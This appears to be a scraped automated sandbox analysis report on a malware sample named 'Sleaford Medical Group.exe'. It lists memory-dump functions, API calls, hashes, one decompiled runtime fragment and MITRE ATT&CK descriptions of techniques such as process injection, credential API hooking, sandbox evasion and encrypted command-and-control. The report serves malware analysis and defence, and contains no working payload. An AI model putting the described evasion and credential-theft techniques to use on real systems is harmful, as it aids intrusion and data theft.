Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: 6ae1ab85bcaf763f99168e34dda340fe7bcc9b3deaff42f9c0d6e763ef249f78
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: EFE012B1200208ABDB14EF99DC40EA777ADAF88650F118558BA085B241C630F9118AB0

Uniqueness

Uniqueness Score: -1.00%

Function 02EDA1E0, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,02ECF1A2,02ECF1A2,?,00000000,?,?), ref: 02EDA210

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 3f7e9ba5d945f5b159b6a6bc66428c34519f5b30da894826e6631973e9cd49be
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: D4E01AB12002086BDB10DF49DC84EE737ADAF88650F018164BA0857241C930E9118BF5

Uniqueness

Uniqueness Score: -1.00%

Function 02ECF697, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,02EC8CF4,?), ref: 02ECF6CB

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: d891ae9f8bd4ca64593a0ba582c8066f6e63dd449e1ccd3562c0c78ffe929ee2
Instruction ID: bdc9e097557a8dfb49e67281e9def385da828fff6a58cd54901edbf7e1d98e74
Opcode Fuzzy Hash: d891ae9f8bd4ca64593a0ba582c8066f6e63dd449e1ccd3562c0c78ffe929ee2
Instruction Fuzzy Hash: F7E0C2B56D02003EEB10EAB4CC03F6A3BD59B50288F08406DF94AEB2D3DA60D001CA51

Uniqueness

Uniqueness Score: -1.00%

Function 02ECF6A0, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,02EC8CF4,?), ref: 02ECF6CB

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 25bed9740bb03e78d731493335abeb5a5df4df6e70947b2bd67e08914e854408
Instruction ID: e15910def1b492dad15778794c50b16b70fec7d37ed0d945c4ad25776af29a28
Opcode Fuzzy Hash: 25bed9740bb03e78d731493335abeb5a5df4df6e70947b2bd67e08914e854408
Instruction Fuzzy Hash: 8ED05E616903043AE610BAA49C02F26328A5B54A04F494064FA489A2C3D960E0014565

Uniqueness

Uniqueness Score: -1.00%

Function 02EDA006, Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(02ED4506,?,02ED4C7F,02ED4C7F,?,02ED4506,?,?,?,?,?,00000000,00000000,?), ref: 02EDA06D

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 957c8946e3e7f3cc29efb1f5b96afc061950a8dc5d0e79b84132aa2c3215a08d
Instruction ID: cd620a6d19c0d4595c390bf423e921278f809ecdbf70660c4007159b46affdee
Opcode Fuzzy Hash: 957c8946e3e7f3cc29efb1f5b96afc061950a8dc5d0e79b84132aa2c3215a08d
Instruction Fuzzy Hash: 73B012BB08411039EB28BFE43C419FB172CD4DC3743827861F50C575058122D90F0231

Uniqueness

Uniqueness Score: -1.00%

Function 0380967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03809694

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c07a334b6f75cd5efb891f5ad5909943385acd43cc3995a7d8a156a91af7f58e
Instruction ID: 1af0dfa8aaa3e4bca2caa01c24db564de267b144821823e2931f99c0a81a84b9
Opcode Fuzzy Hash: c07a334b6f75cd5efb891f5ad5909943385acd43cc3995a7d8a156a91af7f58e
Instruction Fuzzy Hash: B4B09B719014D5C5D651D7E04A08B2B7D047BD0741F17C5D1D2124755B4778C095F5B5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02ED72E0, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a818037c23e0e588e2964c3a5529e1f4a407336155cd461a64bd659e7bd5f4f
Instruction ID: 45bc1603bafb8f3f9aeb023efa4272de5f289a1c6e940658651589c9aa0ae42f
Opcode Fuzzy Hash: 9a818037c23e0e588e2964c3a5529e1f4a407336155cd461a64bd659e7bd5f4f
Instruction Fuzzy Hash: 7EC08C03A1A1BC0649256DCE34001B1FB14C087061D40AEAECE8DE710A8003C21147CC

Uniqueness

Uniqueness Score: -1.00%

Function 0385FDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0385FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E0380CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E03855720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E03855720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x0385fdda
0x0385fde2
0x0385fde5
0x0385fdec
0x0385fdfa
0x0385fdff
0x0385fe0a
0x0385fe0f
0x0385fe17
0x0385fe1e
0x0385fe19
0x0385fe19
0x0385fe19
0x0385fe20
0x0385fe21
0x0385fe22
0x0385fe25
0x0385fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0385FDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 0385FE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 0385FE2B

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: ba1ae0b02342f0df0d28043cac42a7e8bdc86033231451e2dc577db8896b4d06
Instruction ID: 17c279f1054b2122049793526047d25980216d83d7ace9f6e2d591b164c1380b
Opcode Fuzzy Hash: ba1ae0b02342f0df0d28043cac42a7e8bdc86033231451e2dc577db8896b4d06
Instruction Fuzzy Hash: E2F0FC76140201BFDE205A85DC01F63BF6ADB45730F140354FA249A1D1DA62F86086F1

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report Sleaford Medical Group.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Function 0040D634, Relevance: 56.3, APIs: 29, Strings: 3, Instructions: 258
COMMON

Function 00401F68, Relevance: 1.4, APIs: 1, Instructions: 155
memoryCOMMON

Function 0040CAF0, Relevance: .3, Instructions: 265
COMMONCrypto

Function 004171E6, Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 113
COMMON

Function 00416B4E, Relevance: 22.6, APIs: 15, Instructions: 135
COMMON

Function 004174AC, Relevance: 21.2, APIs: 14, Instructions: 200
COMMON

Function 00416D3F, Relevance: 15.1, APIs: 10, Instructions: 121
COMMON

Function 00417009, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 78
COMMON